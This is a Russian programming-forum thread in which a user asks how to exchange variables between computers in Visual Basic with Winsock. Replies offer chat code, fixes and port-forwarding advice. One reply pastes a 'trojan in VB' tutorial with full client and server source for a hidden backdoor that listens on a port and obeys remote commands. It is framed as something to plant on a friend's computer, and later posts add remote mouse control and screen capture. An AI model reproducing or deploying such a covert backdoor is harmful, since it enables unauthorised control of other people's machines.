Форум программистов, компьютерный форум, киберфорум
Visual Basic
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.90/40: Рейтинг темы: голосов - 40, средняя оценка - 4.90
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59

Передача данных в локальной или глобальной сети

02.01.2012, 23:37. Показов 8062. Ответов 16
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Добрые люди программисты, как обмениваться данными по локальной сети, а лучше через интернет а еще лучше и так и так. Мне нужно чтобы два компа, подрубленных в сети обменивались значениями переменных. То-есть есть 20 переменных, я их хочу отправить на другой комп, а другой комп отправит мне 20 других переменных... что-то типо этого
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
02.01.2012, 23:37
Ответы с готовыми решениями:

Передача и размещение цифровой информации на дисках пк и дисковых хранилищах локальной и глобальной сети
Передача и размещение цифровой информации на дисках пк и дисковых хранилищах локальной и глобальной сети?

Передача данных по локальной сети
Всем привет! Мне нужна информация по передаче данных между компьютерами, которые подключены к одной сети WLAN (Wi-Fi). Я хочу передать...

Передача сообщения или переменной по локальной сети
долго гуглил, но так ничего и не получается реализовать работает код вот от сюда: Как послать сообщение компьютеру в локальной сети ...

16
525 / 487 / 99
Регистрация: 25.12.2011
Сообщений: 1,176
03.01.2012, 01:25
Вам правда тяжело глянуть пару тем назад?
Есть такая штучка)) называется Winsock, надеюсь знаешь как добавить...

Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Private Sub Form_Load()
Winsock1.LocalPort = 101 ' Указываем порт который будет слушать Сервер
Winsock1.Listen ' Начинаем Слушать порт
Form1.Caption = "Сервер"
End Sub
 
Private Sub Text1_Change() ' При изменении текста в текстовом поле:
Winsock1.SendData Text1.Text ' Посылаем клиенту текст который введен в текстовое поле
End Sub
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close ' Если сервер не закрыт, то закрываем его(подробнее смотри ниже)
Winsock1.Accept requestID ' Принимаем запрос
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Если Клиент посылает текст то:
Dim D As String ' Объявляем переменную для работы со строками
Winsock1.GetData D ' Записываем в переменную текст, который был послан Клиентом
Text2.Text = D
End Sub
И


Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Private Sub Form_Load()
Winsock1.RemoteHost = "127.0.0.1" 'IP сервера
Winsock1.RemotePort = 101 ' Указываем порт сервера
Winsock1.Connect ' Подключаемся
Form1.Caption = "Клиент"
End Sub
 
 
Private Sub Text1_Change() ' При изменении текста:
Winsock1.SendData Text1.Text ' Отправляем текст
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Если сервер посылает текст то:
Dim DD As String ' Объявляем переменную для работы со строками
Winsock1.GetData DD ' Записываем в переменную текст, который был послан Сервером
Text2.Text = DD
End Sub
Добавлено через 49 секунд
Это в общем скажем так очень простой чат).
2
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59
03.01.2012, 01:30  [ТС]
Цитата Сообщение от Hennasy Посмотреть сообщение
Вам правда тяжело глянуть пару тем назад?
А где эта тема? Покажите дураку...


Это я так понимаю по локалки???
0
525 / 487 / 99
Регистрация: 25.12.2011
Сообщений: 1,176
03.01.2012, 01:42
Цитата Сообщение от Vovan303 Посмотреть сообщение
Это я так понимаю по локалки???
Омг. там есть такая строчка
Visual Basic
1
Winsock1.RemoteHost = "127.0.0.1" 'IP сервера
IP сервера пишешь и отправляется на сервер т.е. у тебя стоит клиент, а у твоего друга сервер
пишешь его IP адрес и вот тебе по интернету))

Добавлено через 1 минуту
Цитата Сообщение от Vovan303 Посмотреть сообщение
А где эта тема? Покажите дураку...
Ошибка Winsock'a "Wrong protocol or connection state"

Добавлено через 5 минут
Если так и не разобрался вот хорошая статья:

Троян на vb
Троян("Понни") - нужен для удаленнго управления вражеским компом, т.е. подкидываешь его другу, и если он в нете будет, то ты можешь что нибуть с его компом сделать. Трояны делятся на много типов, но мы будем делать самый распространенный(BackDoor).
Начнем.
Для начала сделаем клиент:
На форму кинь 5 кнопок(у 1 Caption = "Присоедениться", у 2ой = "Отсоедениться", у 3ей = "Открыть сидюк", у 4ой = "Послать сообщение", у 5ой = "Закрыть сервер", 1 текстовое поле, 1 метку Caption = "IP", ну и не забудь подключить Winsock(родимый!:-))):

Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text ' Устанавливаем IP вписанный в текстовое поле
Winsock1.RemotePort = 1000 ' Устанавливаем порт
Winsock1.Connect ' Соеденяемся
End Sub
 
Private Sub Command2_Click()
Winsock1.Close ' Отключаемся
End Sub
 
Private Sub Command3_Click()
On Error Resume Next ' Если происходит ошибка(нет соединения, а ты нажал на кнопку) то пропускаем следующюю строку
Winsock1.SendData "CD" ' Посылаем серверу команду CD
Bla ' Вызываем функцию Bla
End Sub
 
Function Bla() ' Эта функция будет обрабатывать ошибки
If Err.Number = 40006 Then MsgBox "Связь с сервером не установлена", 48, "Ты не правильный IP ввел" ' Здесь если происходит ошибка 40006(нет соединения), то выдаем сообщение об этом
End Function
 
' Дальше объяснять не буду(и так все понятно)
Private Sub Command4_Click()
Dim S As String
S = InputBox("Введи текст", "Смерть ламерам")
On Error Resume Next
Winsock1.SendData S
Bla
End Sub
 
Private Sub Command5_Click()
On Error Resume Next
Winsock1.SendData "End"
Bla
End Sub
 
Private Sub Form_Load()
Text1.Text = "127.0.0.1"
End Sub
Ну усе, клиент готов, теперь нужен сервер:
У Формы свойство Visible = False, на нее кинь Winsock1(только не забудь его подключить, ОК?), и таймер.
Вот код:

Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
' API функции:
' Открываем сидюк
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Status As Integer
 
Private Sub Timer1_Timer()
Do ' Цикл
DoEvents ' Это чтоб система не повисла
If Winsock1.State <> sckConnected And Winsock1.State <> sckListening Then ' Если не установлена связь, и порт не прослушивается, то
Winsock1.Close ' Закрываем соединение
Winsock1.LocalPort = 1000 ' Устанавливаем порт
Winsock1.Listen ' Начинаем слушать порт
End If
Loop
End Sub
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close ' Закрываем соединение(если оно открыто)
Winsock1.Accept requestID ' Принимаем запрос
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Принимаем команды от клиента:
Dim Data As String
Winsock1.GetData Data ' Записываем текст посланный клиентом в переменную
If Data = "CD" Then mciSendString "Set CDAudio Door Open Wait", 0&, 0, 0 ' Если от клиента пришел текст "CD", то открываем сидюк
' Здесь все анологично
If Data <> "End" And Data <> "CD" Then MsgBox Data, 64, ""
If Data = "End" Then End
End Sub
1
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59
03.01.2012, 03:28  [ТС]
Огромное спасибо!! Попробую чтонить интересное намудрить)))

Добавлено через 1 час 30 минут
Идея очень интересная... а можно видеть удаленный рабочий стол и управлять мышью с клавой??
0
525 / 487 / 99
Регистрация: 25.12.2011
Сообщений: 1,176
03.01.2012, 07:21
Цитата Сообщение от Vovan303 Посмотреть сообщение
управлять мышью с клавой??
Я немного переделал код, хз работает нет проверь с другом или сразу на 2-х компах:
Сервер:
Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
 
Dim StrCordX, StrCordY
Private Sub Form_Load()
Winsock1.LocalPort = 101 ' Указываем порт который будет слушать Сервер
Winsock1.Listen ' Начинаем Слушать порт
Form1.Caption = "Сервер"
End Sub
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close ' Если сервер не закрыт, то закрываем его(подробнее смотри ниже)
Winsock1.Accept requestID ' Принимаем запрос
End Sub
 
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String ' Объявляем переменную для работы со строками
Winsock1.GetData strData ' Записываем в переменную текст, который был послан Клиентом
StrCordX = Split(strData)(0) ' Так как серверу приходят твои координаты в таком виде 0 0 (X Y) (0 - это 1 слово)
StrCordY = Split(strData)(1) ' Соответственно это Y
Call SetCursorPos(StrCordX, StrCordY) ' Перемещаем курсор в заданные координаты
End Sub
Клиент:
Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
 
Private Type POINTAPI
x As Long
y As Long
End Type
 
Dim z As POINTAPI
'Const - кнопок
Const VK_ATTN = &HF6
Const VK_BACK = &H8
Const VK_CANCEL = &H3
Const VK_CAPITAL = &H14
Const VK_CLEAR = &HC
Const VK_CONTROL = &H11
Const VK_CRSEL = &HF7
Const VK_DECIMAL = &H6E
Const VK_DELETE = &H2E
Const VK_DOWN = &H28
Const VK_END = &H23
Const VK_EREOF = &HF9
Const VK_ESCAPE = &H1B
Const VK_EXECUTE = &H2B
Const VK_EXSEL = &HF8
Const VK_F1 = &H70
Const VK_F10 = &H79
Const VK_F11 = &H7A
Const VK_F12 = &H7B
Const VK_F13 = &H7C
Const VK_F14 = &H7D
Const VK_F15 = &H7E
Const VK_F16 = &H7F
Const VK_F17 = &H80
Const VK_F18 = &H81
Const VK_F19 = &H82
Const VK_F2 = &H71
Const VK_F20 = &H83
Const VK_F21 = &H84
Const VK_F22 = &H85
Const VK_F23 = &H86
Const VK_F24 = &H87
Const VK_F3 = &H72
Const VK_F4 = &H73
Const VK_F5 = &H74
Const VK_F6 = &H75
Const VK_F7 = &H76
Const VK_F8 = &H77
Const VK_F9 = &H78
Const VK_HELP = &H2F
Const VK_HOME = &H24
Const VK_INSERT = &H2D
Const VK_LBUTTON = &H1
Const VK_LCONTROL = &HA2
Const VK_LEFT = &H25
Const VK_LMENU = &HA4
Const VK_LSHIFT = &HA0
Const VK_MBUTTON = &H4
Const VK_MENU = &H12
Const VK_NEXT = &H22
Const VK_NONAME = &HFC
Const VK_NUMLOCK = &H90
Const VK_NUMPAD0 = &H60
Const VK_NUMPAD1 = &H61
Const VK_NUMPAD2 = &H62
Const VK_NUMPAD3 = &H63
Const VK_NUMPAD4 = &H64
Const VK_NUMPAD5 = &H65
Const VK_NUMPAD6 = &H66
Const VK_NUMPAD7 = &H67
Const VK_NUMPAD8 = &H68
Const VK_NUMPAD9 = &H69
Const VK_OEM_CLEAR = &HFE
Const VK_PA1 = &HFD
Const VK_PLAY = &HFA
Const VK_PAUSE = &H13
Const VK_PRINT = &H2A
Const VK_PRIOR = &H21
Const VK_PROCESSKEY = &HE5
Const VK_RBUTTON = &H2
Const VK_RETURN = &HD
Const VK_RCONTROL = &HA3
Const VK_RIGHT = &H27
Const VK_RMENU = &HA5
Const VK_RSHIFT = &HA1
Const VK_SCROLL = &H91
Const VK_SELECT = &H29
Const VK_SEPARATOR = &H6C
Const VK_SHIFT = &H10
Const VK_SNAPSHOT = &H2C
Const VK_SPACE = &H20
Const VK_SUBTRACT = &H6D
Const VK_TAB = &H9
Const VK_UP = &H26
Const VK_ZOOM = &HFB
Const VK_0 = &H30
Const VK_1 = &H31
Const VK_2 = &H32
Const VK_3 = &H33
Const VK_4 = &H34
Const VK_5 = &H35
Const VK_6 = &H36
Const VK_7 = &H37
Const VK_8 = &H38
Const VK_9 = &H39
Const VK_A = &H41
Const VK_B = &H42
Const VK_C = &H43
Const VK_D = &H44
Const VK_E = &H45
Const VK_F = &H46
Const VK_G = &H47
Const VK_H = &H48
Const VK_I = &H49
Const VK_J = &H4A
Const VK_K = &H4B
Const VK_L = &H4C
Const VK_M = &H4D
Const VK_N = &H4E
Const VK_O = &H4E
Const VK_P = &H50
Const VK_Q = &H51
Const VK_R = &H52
Const VK_S = &H53
Const VK_T = &H54
Const VK_U = &H55
Const VK_V = &H56
Const VK_W = &H57
Const VK_X = &H58
Const VK_Y = &H59
Const VK_Z = &H5A
 
Private Sub Timer1_Timer() ' Отправка по таймеру, так как если это сделать при изменении текста я думаю что тот у кого твой сервер сможет двигать курсором если ты не чего не делаешь.
GetCursorPos z
Text1.Text = z.x & " " & z.y ' Это координаты в таком виде 0 0
Winsock1.SendData Text1.Text ' Отправляем серверу то что написано в тхт1
End Sub
 
Private Sub Form_Load() ' При загрузке формы:
Winsock1.RemoteHost = "127.0.0.1" ' Указываем IP компа, на котором запущен сервер
Winsock1.RemotePort = 101 ' Указываем порт сервера
Winsock1.Connect ' Подключаемся
Form1.Caption = "Клиент"
Timer1.Interval = 50
End Sub
Только вот есть большой недочет это разрешение твоего компа и на котором будет сервер...

Хотя если к серверу добавить код:
Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Private Sub Form_Load()
Dim width As Integer
Dim height As Integer
width = Screen.width / Screen.TwipsPerPixelX
height = Screen.height / Screen.TwipsPerPixelY
Raz = CStr(width) + "x" + CStr(height)
Winsock1.LocalPort = 101 ' Указываем порт который будет слушать Сервер
Winsock1.Listen ' Начинаем Слушать порт
Form1.Caption = "Сервер"
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim R As String
Winsock1.GetData R ' Записываем в переменную текст, который был послан Клиентом
If R = "Raz" Then
Winsock1.SendData Raz
End If
End Sub
И к клиенту (добавить кнопку) и дописать к нему код:
Visual Basic
1
2
3
4
5
6
7
8
9
Private Sub Command1_Click()
Winsock1.SendData "Raz" 'Послать команду Raz
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Raz As String
Winsock1.GetData Raz
MsgBox Raz 'Сообщение о разрешении
End Sub

Цитата Сообщение от Vovan303 Посмотреть сообщение
видеть удаленный рабочий стол
Хз... есть 1 штука:
Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Private Declare Function StretchBlt% Lib "gdi32" (ByVal hDC As Long, ByVal X%, ByVal Y%, ByVal nWidth%, ByVal nHeight%, ByVal hSrcDC As Long, ByVal XSrc%, ByVal YSrc%, ByVal nSrcWidth%, ByVal nSrcHeight%, ByVal dwRop&)
'Private Declare Function StretchBlt Lib "gdi32" (ByVal hDC As Long, ByVal X As Integer, ByVal Y As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer, ByVal hSrcDC As Long, ByVal XSrc As Integer, ByVal YSrc As Integer, ByVal nSrcWidth As Integer, ByVal nSrcHeight As Integer, ByVal dwRop&)
Private Declare Function GetActiveWindow Lib "User32" () As Long
Private Declare Function GetTopWindow Lib "User32" (ByVal hWnd As Long) As Long
Private Declare Function GetClientRect Lib "User32" (ByVal hWnd As Long, lpRect As RECT) As Long
Private Declare Function GetWindowDC Lib "User32" (ByVal hWnd As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal XSrc As Long, ByVal YSrc As Long, ByVal dwRop As Long) As Long
Private Declare Function ReleaseDC Lib "User32" (ByVal hWnd As Long, ByVal hDC As Long) As Long
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Type BITMAP
bmType As Long
bmWidth As Long
bmHeight As Long
bmWidthBytes As Long
bmPlanes As Integer
bmBitsPixel As Integer
bmBits As Long
End Type
Private Declare Function GetWindowRect Lib "User32" (ByVal hWnd As Long, lpRect As RECT) As Long
Private Declare Function GetDesktopWindow Lib "User32" () As Long
 
 
 
Private Sub Form_Click()
GetShot GetDesktopWindow
End Sub
 
Private Sub Form_Load()
GetShot GetDesktopWindow
End Sub
 
Public Sub GetShot(lWindowhWnd As Long)
Dim lWindowhDC As Long
Dim lParenthWnd As Long
Dim lChildhWnd As Long
 
Dim nLeft As Long
Dim nTop As Long
Dim nWidth As Long
Dim nHeight As Long
Dim rRect As RECT
 
 
DoEvents
 
GetWindowRect lWindowhWnd, rRect
lWindowhDC = GetWindowDC(lWindowhWnd)
nLeft = 0
nTop = 0
nWidth = rRect.Right - rRect.Left
nHeight = rRect.Bottom - rRect.Top
Form1.Width = Screen.Width / 1.24 'nWidth * Screen.TwipsPerPixelX
Form1.Height = Screen.Height / 1.19 'nHeight * Screen.TwipsPerPixelY
StretchBlt Form1.hDC, 0, 0, nWidth, nHeight, lWindowhDC, nLeft, nTop, Screen.Width / 12, Screen.Height 
ReleaseDC lWindowhWnd, lWindowhDC
Form1.Picture = Form1.Image
Me.Visible = True
End Sub
Только я не знаю как прикрепить ее к сервер - клиент, так как читал где то что Winsock не передает файлы больших размеров... хотя хз, могло и присниться)).
1
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59
03.01.2012, 14:25  [ТС]
И наверное последний вопрос. А если у меня стоит маршрутиризатор, дома несколько компов, и я хочу к ним через интернет подключиться, как тогда быть?

Добавлено через 13 минут
ииии.... на счет первого кода, все работает... Только как отсылать переменные 20 шт, в разные текстовые поля клиента

Добавлено через 26 минут
и еще один косяк возник... включаю сервер, затем клиен, текст отправляеться! Выключаю клиент и снова включаю выдает ошибку!
0
525 / 487 / 99
Регистрация: 25.12.2011
Сообщений: 1,176
03.01.2012, 16:16
Цитата Сообщение от Vovan303 Посмотреть сообщение
и еще один косяк возник... включаю сервер, затем клиен, текст отправляеться! Выключаю клиент и снова включаю выдает ошибку!
Впиши это в сервер (чата):
Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Option Explicit
Public NumSockets As Integer
 
Private Sub Form_Load()
Caption = winsock1(0).LocalHostName & winsock1(0).LocalIP
winsock1(0).LocalPort = 101
Print "Listening to " + Str(winsock1(0).LocalPort)
winsock1(0).Listen
End Sub
 
Private Sub Winsock1_Close(Index As Integer)
Print "Connection Closed :" & winsock1(Index).RemoteHostIP
winsock1(Index).Close
End Sub
 
Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Print "Connection Request from : " & winsock1(Index).RemoteHostIP
NumSockets = NumSockets + 1
Load winsock1(NumSockets)
winsock1(NumSockets).Accept requestID
End Sub
 
Private Sub Winsock1_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim D As String
winsock1(Index).GetData D, vbString
Print D
Text2.Text = D
End Sub
0
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59
03.01.2012, 16:40  [ТС]
Не работает не черта
0
Эксперт Hardware
 Аватар для Linoge
3205 / 1915 / 324
Регистрация: 25.10.2011
Сообщений: 5,564
03.01.2012, 17:06
Цитата Сообщение от Vovan303 Посмотреть сообщение
Не работает не черта
потому что у Hennasy объект winsock1 как массив, установи ему Index в 0
2
525 / 487 / 99
Регистрация: 25.12.2011
Сообщений: 1,176
03.01.2012, 17:17
Цитата Сообщение от Vovan303 Посмотреть сообщение
Только как отсылать переменные 20 шт, в разные текстовые поля клиента
Так вот переделка кода ХД я его скоро замучаю)) вот посмотри так не так:
Только на сервере сделай так, нарисуй 1 текстовое поле, и копируй его и вставляй и так 20 раз так, как тебе надо 20 чисел.
Клиент:

Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Dim Mass(20)
 
Private Sub Command1_Click()
Timer1.Interval = 1
End Sub
 
Private Sub Form_Load()
winsock1.RemoteHost = "127.0.0.1" 'IP сервера
winsock1.RemotePort = 101 ' Указываем порт сервера
winsock1.Connect ' Подключаемся
Form1.Caption = "Клиент"
End Sub
 
Private Sub Timer1_Timer()
For I = 1 To 20 Step 1
Mass(I) = InputBox("TXT", "TIT") & " " 
winsock1.SendData I
Next
Timer1.Interval = 0
End Sub
Сервер:

Visual Basic
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Private Sub Form_Load()
Winsock1.LocalPort = 101 ' Указываем порт который будет слушать Сервер
Winsock1.Listen ' Начинаем Слушать порт
Form1.Caption = "Сервер"
End Sub
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close ' Если сервер не закрыт, то закрываем его(подробнее смотри ниже)
Winsock1.Accept requestID ' Принимаем запрос
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) ' Если Клиент посылает текст то:
Dim D As String ' Объявляем переменную для работы со строками
Winsock1.GetData D ' Записываем в переменную текст, который был послан Клиентом
For i = 0 To 19
Text1(i) = Split(D)(i)
Next
End Sub
Добавлено через 10 минут
Да забыл)) тут есть 1 загвоздка тогда ты не сможешь писать через пробел слова в переменные)), ну думаю догадаешься как исправить или скажем так winsock1.SendData (переменная) вот так ты можешь отправлять.
1
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59
03.01.2012, 18:55  [ТС]
Пасибо огромное! Вроде все работает четко теперь))
0
525 / 487 / 99
Регистрация: 25.12.2011
Сообщений: 1,176
03.01.2012, 18:58
Хотя можно написать чтобы считывал до .
Но я там понял что тебе надо просто отправить переменную.
Тогда так:
Пишешь клиент и сервер (основные команды) и потом если тебе надо отправить:
Visual Basic
1
2
3
4
Dim I 
' Нажатие на кнопку
I = Text1.Text
winsock1.SendData I
0
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59
08.01.2012, 04:33  [ТС]
Товарищи, все конечно классно, все работает... ток вот такой геморой у меня. Как быть если у меня стоит роутер зацепленный к интернету... тобишь у роутера свой ip, а к нему десяток компов подключены с другими Ip. Как зарулить именно на тот комп, на который хочу?
0
525 / 487 / 99
Регистрация: 25.12.2011
Сообщений: 1,176
08.01.2012, 04:55
Если бы я в этом разбирался я бы сказал)), но не работает так если вписать ip компа на который нужен:?

Добавлено через 1 минуту
Т.Е. ставишь клиент на 1 комп на 2 сервер, в клиент вписываешь ip компа на котором сервер)

Добавлено через 16 минут
Если это не сработает:
Цитата Сообщение от Hennasy Посмотреть сообщение
ставишь клиент на 1 комп на 2 сервер, в клиент вписываешь ip компа на котором сервер)
Тогда Гг поможет только программа Hamachi. Но сначала попробуй 1 вариант.
0
Эксперт Hardware
 Аватар для Linoge
3205 / 1915 / 324
Регистрация: 25.10.2011
Сообщений: 5,564
08.01.2012, 17:11
Vovan303, если хочешь чтоб все работало во внутренней сети то используй внутренние адреса.
Если нужно чтоб с внешней сети/инета заходить на внутренний комп - то для каждого внутреннего компа сделать проброс своего отдельно порта через роутер (типа port forwarding) или виртуальный сервер. По сути снаружи будешь обращаться к одному внешнему адресу роутера но по различным портам для различных внутренних компов.
1
0 / 0 / 0
Регистрация: 17.06.2011
Сообщений: 59
09.01.2012, 05:35  [ТС]
И вот еще по ходу такой вопрос возник. А как сделать программу службой? То есть я программу стартану и она у меня улетит в службы... ну или как вообще это можно осуществить?
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
09.01.2012, 05:35
Помогаю со студенческими работами здесь

Передача данных вне локальной сети
Хочу узнать, как устроить обмен информацией двух компьютеров ВНЕ одной локальной сети, т.к. в запросе &quot;Передача данных вне локальной...

Медленная передача данных по локальной сети.
У меня &quot;большой&quot; компьютер с ХР и ноутбук с &quot;семёркой&quot;. Я соединил их друг с другом кабелем для прямого соединения двух компьютеров (без...

Передача данных на компьютер в локальной сети
Задача передать (скопировать) несколько файлов с машины на другую (по локальной сети) Копировал как и внутри 1 машины: FileInfo...

Передача данных по локальной сети: нужна литература
Добрый день. Посоветуйте пособие, с помощью которого я мог бы написать подобие &quot;прямого чата&quot;. Проблема в том, что не знаю...

Настройка denwer по сети (глобальной и локальной)?
Здравствуйте друзья. -------------------- Есть локальная сеть, два компа. На одном компе установлен дж-кий набор web программиста -...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
17
Ответ Создать тему
Новые блоги и статьи
Жизнь в неопределённости
kumehtar 23.03.2026
Жизнь — это постоянное существование в неопределённости. Например, даже если у тебя есть список дел, невозможно дойти до точки, где всё окончательно завершено и больше ничего не осталось. В принципе,. . .
Модель здравоСохранения: работники работают быстрее после её введения.
anaschu 23.03.2026
geJalZw1fLo Корпорация до введения программа здравоохранения имела много невыполненных работниками заданий, после введения программы количество заданий выросло. Но на выплатах по больничным это. . .
1С: Контроль уникальности заводского номера
Maks 23.03.2026
Алгоритм контроля уникальности заводского (или серийного) номера на примере документа выдачи шин для спецтехники с табличной частью. Данные берутся из регистра сведений, по которому настроено. . .
Хочу заставить корпорации вкладываться в здоровье сотрудников: делаю мат модель здравосохранения
anaschu 22.03.2026
e7EYtONaj8Y Z4Tv2zpXVVo https:/ / github. com/ shumilovas/ med2. git
1С: Программный отбор элементов справочника по группе
Maks 22.03.2026
Установка программного отбора элементов справочника "Номенклатура" из модуля формы документа. В качестве фильтра для отбора справочника служит группа номенклатуры. Отбор по наименованию группы. . .
Как я обхитрил таблицу Word
Alexander-7 21.03.2026
Когда мигает курсор у внешнего края таблицы, и нам надо перейти на новую строку, а при нажатии Enter создается новый ряд таблицы с ячейками, то мы вместо нервных нажатий Энтеров мы пишем любые буквы. . .
Krabik - рыболовный бот для WoW 3.3.5a
AmbA 21.03.2026
без регистрации и смс. Это не торговля, приложение не содержит рекламы. Выполняет свою непосредственную задачу - автоматизацию рыбалки в WoW - и ничего более. Однако если админы будут против -. . .
1С: Программный отбор элементов справочника по значению перечисления
Maks 21.03.2026
Установка программного отбора элементов справочника "Сотрудники" из модуля формы документа. В качестве фильтра для отбора служит значение перечислений. / / Событие "НачалоВыбора" реквизита на форме. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru